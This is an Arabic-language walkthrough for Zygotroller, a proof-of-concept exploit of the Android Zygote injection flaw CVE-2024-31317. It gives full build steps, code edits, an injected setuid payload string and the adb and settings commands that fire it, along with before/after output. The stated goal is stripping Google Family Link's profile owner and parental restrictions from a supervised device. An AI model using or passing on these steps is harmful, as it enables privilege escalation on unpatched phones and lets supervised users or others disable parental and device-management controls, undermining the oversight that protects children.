
إزالة مالكي الملفات الشخصية/رابط العائلة في Android باستخدام CVE-2024-31317
Zygotroller هو إثبات مفهوم يمكنه إزالة مالك الملف التعريفي والقيود المرتبطة به باستخدام ثغرة حقن Zygote CVE-2024-31317. يتطلب وضع المطور وآخر تصحيح أمني يكون قبل يونيو 2024.
نظام الرقابة الأبوية من Google، Family Link، موضح كمثال في هذا المستودع.
ستحتاج إلى جهاز حديث نسبيًا يعمل بتوزيعة Debian لتجميع Zygotroller. قد تكون الإصدارات المبنية مسبقًا متوفرة أو لا حسب وقت قراءة هذا.
لسوء الحظ، يعتمد هذا على أجزاء داخلية من Android، لذا تحتاج إلى استنساخ الكود المصدري الكامل لنظام Android لبناء Zygotroller. تأكد من وجود مساحة خالية لا تقل عن 400 جيجابايت، على الرغم من أنك قد تستخدم أقل.
مهم إذا كنت تستخدم WSL: تأكد من وجود مساحة تبديل كبيرة، وإلا سيتعطل WSL. لقد استخدمت شخصيًا 32 جيجابايت:
sudo fallocate -l 32G /swapfile
sudo chmod 600 /swapfile
sudo mkswap /swapfile
sudo swapon /swapfile
الآن لاستنساخ كود AOSP المصدر:
mkdir ~/aosp
cd ~/aosp
repo init --partial-clone --no-use-superproject -b android-latest-release -u https://android.googlesource.com/platform/manifest
repo sync -c -j8 (قد يتطلب عدة محاولات بسبب حدود المعدل)
source build/envsetup.sh
lunch aosp_cf_arm64_only_phone-aosp_current-eng (إذا كنت تختبر هذا على محاكٍ، غيّر arm64 إلى x86_64)
cd ~/aosp/external
git clone https://github.com/rifting/Zygotroller
cd Zygotroller
الآن نحتاج إلى تغيير القيم في السكريبت إلى مالك الملف التعريفي الفعلي ورمز العملية لـ clearProfileOwner.
يمكن أن يكون مالك الملف التعريفي إما في حزمة "الإشراف" الخاصة بخدمات Google Play أو في خدمات Google Play نفسها. قم بتشغيل dpm list-owners، كانت نتيجتي كالتالي:
$ dpm list-owners
1 owner:
User 0: admin=com.google.android.gms.supervision/com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver,ProfileOwner
يمنحنا هذا قطعتين من المعلومات اللازمة لـ Zygotroller، اسم الحزمة (com.google.android.gms.supervision) واسم الفئة (com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver).
قم بتحرير zygotroll.cpp باستخدام محرر النصوص المفضل لديك وقم بتحديث هذه الأسطر إلى مكون مالك الملف التعريفي الخاص بك:
// Family Link profile owner
std::string pkg = "com.google.android.gms.supervision";
std::string cls = "com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver";
الآن تحتاج إلى العثور على رمز العملية لدالة clearProfileOwner الخاصة بـ DPM. كان هذا "91" بالنسبة لي، لكنه يختلف حسب إصدار/نوع Android الذي تستخدمه. للحصول على رمز العملية لـ clearProfileOwner، استخدمت android-svc مع الأمر:
android-svc convert 'android.app.admin.IDevicePolicyManager.clearProfileOwner("dummy")'
الرقم الذي تراه في المخرجات سيكون رمز العملية لـ clearProfileOwner. افتح zygotroll.cpp مرة أخرى بمحرر النصوص المفضل لديك وقم بتحرير الرقم هنا، إلى رمز العملية الفعلي الخاص بك:
// Transaction code 91 was ClearProfileOwner for my device
dpm->transact(91, data, &reply);
ستفعل نفس الشيء مع setUserRestriction:
// Transaction code 132 was setUserRestriction for my device
dpm->transact(132, data2, &reply2);
الآن نحتاج إلى تجميع zygotroller:
mm
قد يستغرق هذا وقتًا طويلاً في البناء الأولي، أما البناءات اللاحقة فستستغرق أقل من دقيقة على معظم الأجهزة الحديثة.
ابحث عن ملفك الثنائي في ~/aosp/out/target/product/vsoc_x86_64_only/system/bin/zygotroller
الآن نحتاج إلى إنشاء تطبيق يحتوي على هذا الملف الثنائي كمكتبة مشتركة "shared library" وهي في الواقع مجرد ملف Zygotroller القابل للتنفيذ، حتى يسمح لنا SELinux بتنفيذه. يمكنك استخدام مستودع "CopyNativeLib" الخاص بي لذلك:
git clone https://github.com/rifting/CopyNativeLib.git
ثم أعد تسمية ملف Zygotroller الثنائي إلى libzygotroller.so وضعه في app/src/main/jniLibs/arm64-v8a (أفترض أن هذه ستكون معمارية هاتفك). قم ببناء APK في Android Studio وقم بتثبيته على جهازك باستخدام adb install.
كان مالك ملف Family Link التعريفي هو userId 10090 بالنسبة لي، المعروف أيضًا بـ u0_a90
قم بتشغيل dumpsys package com.google.android.gms.supervision | grep userId=
الآن ألقِ نظرة على payload.sh، في هذا السطر
inject='\n--setuid=10090...
قم بتغيير UID هنا من 10090 إلى أي UID كان من أمر dumpsys. إذا كان نفس المعرف، اتركه.
انظر قليلاً إلى أسفل في ذلك السطر وسترى:
...echo zYg0te $(LD_LIBRARY_PATH=[المسار إلى مكتبتك الأصلية] [المسار إلى مكتبتك الأصلية])...
(تم استخدام ثلاث نقاط لإظهار الاقتطاع)
تحتاج إلى استبدال هذه المسارات بمسارات المكتبة الأصلية التي قمت بتثبيتها للتو على الجهاز. قم بتشغيل pm path com.rifting.copynativelib.
سيكون المسار إلى الملف هو الدليل الأصلي لملف APK الموضح كمخرج للأمر، + lib/arm64-v8a/libzygotroller.so. يجب أن يكون LD_LIBRARY_PATH هو دليل المكتبة، ثم يأتي المسار الفعلي للمكتبة بعد ذلك.
لذا سيبدو هذا السطر في النهاية شيئًا مثل هذا:
...echo zYg0te $(LD_LIBRARY_PATH=/data/app/~~IQhIf-M_9eLGoJ-Wd-qaCA==/com.rifting.copynativelib-a6N1upfA-_Trjh_cPCHngA==/lib/x86_64/ /data/app/~~IQhIf-M_9eLGoJ-Wd-qaCA==/com.rifting.copynativelib-a6N1upfA-_Trjh_cPCHngA==/lib/x86_64/libreal.so)...
لقد أوشكت على الانتهاء! ادفع هذا الملف إلى /data/local/tmp
adb push payload.sh /data/local/tmp
اضبط الأذونات:
chmod +x /data/local/tmp/payload.sh
وأخيرًا، أرسل مخرجاته إلى hidden_api_blacklist_exemptions!
settings put global hidden_api_blacklist_exemptions "$(sh ./payload.sh)"
الآن قم بتعيين هذا إلى "0" لتجنب حلقة التمهيد :)
settings put global hidden_api_blacklist_exemptions 0
يجب أن ترى أنه تمت إزالة مالك ملف Family Link التعريفي وجميع القيود المرتبطة به. اذهب إلى الإعدادات وقم بإدارة الحسابات، وقم بإزالة الحساب الخاضع للإشراف من الجهاز. تهانينا!
قبل:
$ dpm list-owners
1 owner:
User 0: admin=com.google.android.gms.supervision/com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver,ProfileOwner
$ abx2xml /data/system/users/0.xml -
...
<device_policy_local_restrictions>
<restrictions_user user_id="0">
<restrictions no_factory_reset="true" no_config_location="true" no_add_clone_profile="true" no_safe_boot="true" no_config_credentials="true" no_config_date_time="true" />
</restrictions_user>
</device_policy_local_restrictions>
...
بعد:
$ dpm list-owners
no owners
emu64xa:/ $
$ abx2xml /data/system/users/0.xml -
...
<device_policy_local_restrictions />
...